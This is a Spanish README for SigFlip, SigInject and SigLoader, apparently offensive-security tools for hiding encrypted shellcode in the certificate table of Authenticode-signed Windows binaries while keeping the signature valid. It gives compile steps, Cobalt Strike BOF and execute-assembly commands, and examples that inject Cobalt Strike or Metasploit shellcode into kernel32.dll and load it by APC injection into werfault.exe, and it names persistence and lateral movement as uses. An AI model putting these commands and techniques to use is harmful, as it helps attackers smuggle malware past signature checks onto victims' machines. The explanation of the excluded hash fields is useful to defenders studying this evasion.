
SigFlip es una herramienta para parchear archivos PE firmados con Authenticode (exe, dll, sys, etc.) sin invalidar ni romper la firma existente.
SigFlip es una herramienta para modificar archivos PE firmados con authenticode (exe, dll, sys, etc.) de forma que no afecte ni rompa la firma authenticode existente; en otras palabras, puedes cambiar el checksum/hash del archivo PE incrustando datos (por ejemplo, shellcode) sin romper la firma del archivo, las comprobaciones de integridad ni la funcionalidad del PE.
SigInject cifra e inyecta shellcode en la tabla de certificados [WIN_CERTIFICATE] de un archivo PE; la clave de cifrado se imprime para su uso con un cargador básico BOF/C/C# (SigLoader). SigInject guarda los cambios en un archivo PE modificado y mantiene intacta su firma y la validez del certificado.
SigLoader es un cargador básico que toma como parámetros la ruta de un archivo PE modificado creado por SigInject y la clave de descifrado, luego extrae y descifra el shellcode incrustado para usarlo con una inyección de shellcode de elección.
SigFlip verificará si el hash del PE se cambió exitosamente y también comprobará y saldrá de forma ordenada en caso de que los endpoints estén endurecidos contra esta configuración incorrecta común (consulta la sección "Detalles").
Nota rápida: SigFlip, SigInject y SigLoader están disponibles como scripts BOF y ensamblados .NET; la única diferencia es que la funcionalidad de SigInject está implementada como parte de SigFlip (-i) en caso de que elijas usar artefactos .NET en lugar de BOFs.
Se puede usar principalmente para persistencia, movimiento lateral o ejecución de código/comandos y puede ayudar con:
En este proyecto no se proporcionan BOFs precompilados; se pueden compilar usando Mingw-w64. Para .NET usa VS o csc.exe para compilar proyectos .NET (SigFlip, SigLoader); para BOF consulta los pasos a continuación;
➜ i686-w64-mingw32-gcc -c sigflip.c -o sigflip.x86.o➜ x86_64-w64-mingw32-gcc -c sigflip.c -o sigflip.x64.o➜ x86_64-w64-mingw32-gcc -c SigLoader/sigloader.c -o sigloader.x64.o➜ i686-w64-mingw32-gcc -c SigLoader/sigloader.c -o sigloader.x86.oAsegúrate de que todos los archivos objeto estén ubicados en el mismo directorio que sigflip.cna, luego carga el script sigflip.cna en Cobalt Strike.
Nota rápida: los BOFs precompilados fueron probados y son compatibles con mingw-64 v8.0.0_3; usar mingw-64 >= v9 podría funcionar pero podría bloquear beacons activos, consulta https://github.com/med0x2e/SigFlip/issues/2 para más detalles.
Execute-Assembly
execute-assembly SigFlip.exe -hexecute-assembly SigLoader -hBOF
SigFlip: Cambia el hash de un archivo PE (DLL, EXE, SYS, OCX, etc.) sin romper la firma ni la validez del certificado:
SigFlip "<RUTA_DEL_PE>" "<RUTA_DEL_PE_SALIDA (con extensión)>"SigInject: Cifra e inyecta shellcode en la tabla de certificados [WIN_CERTIFICATE] de un archivo PE; la clave de cifrado se imprime para usarla con un cargador básico C/C# y mantiene intacta la firma y validez del certificado:
SigInject "<RUTA_DEL_PE> <RUTA_DEL_PE_SALIDA (con extensión)>" "<RUTA_DEL_SHELLCODE>"SigLoader: Carga shellcode cifrado desde archivos PE creados por SigInject, luego usa Early Bird queueuserapc para generar/inyectar el shellcode en un proceso sacrificial; la lógica de inyección de shellcode se puede personalizar o reemplazar con cualquier otra técnica de inyección de código de elección:
SigLoader <RUTA_DEL_PE_CON_SH> <CLAVE_DESCIFRADO> <RUTA_DEL_PROCESO_DESTINO> <ID_DEL_PROCESO_PADRE>Ejemplos
BOF:
SigFlip "C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe" "C:\lolbins\modified-msbuild.exe"SigInject "C:\Windows\System32\kernel32.dll" "C:\random\modified-kernel32.dll" "C:\shellcode\cobaltstrike_or_msf_shellcode.bin"Sigloader "C:\random\modified-kernel32.dll" "CLAVE_DESCIFRADO" "C:\Windows\System32\werfault.exe" 6300Execute-Assembly:
execute-assembly SigFlip.exe -b C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe -o C:\Temp\MSBuild.exeexecute-assembly SigFlip.exe -i C:\Windows\System32\kernel32.dll -s C:\Temp\x86shellcode.bin -o C:\Temp\kernel32.dll -e TestSecretKeyexecute-assembly SigLoader.exe -f C:\Temp\modified-kernel32.dll -e TestSecretKey -pid 2354Esta es una técnica conocida utilizada por APT#10 en múltiples campañas o conjuntos de intrusiones.
Authenticode es una tecnología de firma de código de Microsoft que identifica al editor de software firmado con Authenticode. Authenticode también verifica que el software no haya sido manipulado desde que se firmó y publicó.
Microsoft se basa principalmente en el formato de firma Authenticode para verificar la integridad y el origen de los binarios PE. Según la especificación del formato PE de Authenticode, las firmas Authenticode pueden estar "incrustadas" en un archivo PE de Windows, en una ubicación especificada por la entrada de la tabla de certificados en los directorios de datos del encabezado opcional. Cuando se usa Authenticode para firmar un archivo PE de Windows, el algoritmo que calcula el valor hash Authenticode del archivo excluye ciertos campos PE. Al incrustar la firma en el archivo, el proceso de firma puede modificar estos campos sin afectar el valor hash del archivo. Estos campos son los siguientes: **el checksum, RVA de la tabla de certificados, tamaño de la tabla de certificados y la tabla de certificados de atributos. La tabla de certificados de atributos contiene una estructura PKCS#7 SignedData que contiene el valor hash del archivo PE, una firma creada con la clave privada del editor del software y los certificados X.509 v3 que vinculan la clave de firma del editor del software con una entidad legal.
En términos simples, podemos modificar o incrustar datos en campos excluidos del cálculo hash authenticode sin preocuparnos por romper la firma authenticode y las comprobaciones de integridad del archivo.
Más detalles sobre dichos campos excluidos:
RVA y Tamaño de la tabla de certificados: La estructura del encabezado opcional de un PE firmado contiene un array de directorios de datos que incluye la entrada del directorio de seguridad IMAGE_DIRECTORY_ENTRY_SECURITY, la cual tiene dos campos: RVA y Tamaño.
Tabla de certificados de atributos: una estructura de datos WIN_CERTIFICATE que encapsula la firma y los certificados y tiene los siguientes campos:
dwLength: tamaño de la tabla de certificados.wRevision: la "revisión" del WIN_CERTIFICATE.wCertificateType: el tipo de datos de certificado encapsulados.bCertificate: los datos reales del certificado. Para WIN_CERT_TYPE_PKCS_SIGNED_DATA, esta es la estructura PKCS#7 SignedData mencionada anteriormente (que contiene el valor hash del PE, la firma y el certificado X.509); este es exactamente el lugar donde SigFlip incrusta datos aleatorios o shellcode.Con todo esto en mente, ahora SigFlip hace lo siguiente:
El primer paso es esencial para confirmar si el sistema está mal configurado de manera que permita el relleno y la inyección de shellcode en archivos PE firmados con authenticode; por lo tanto, se realizan las siguientes comprobaciones de cordura:
El cargador de Windows no carga los datos del certificado en el espacio de direcciones del proceso; por eso necesitas un cargador personalizado para extraer datos como shellcode y usarlos (por ejemplo, SigLoader). Esto también explica por qué la entrada del directorio de datos IMAGE_DIRECTORY_ENTRY_SECURITY tiene un RVA que es un desplazamiento de archivo en lugar de un desplazamiento de memoria típico.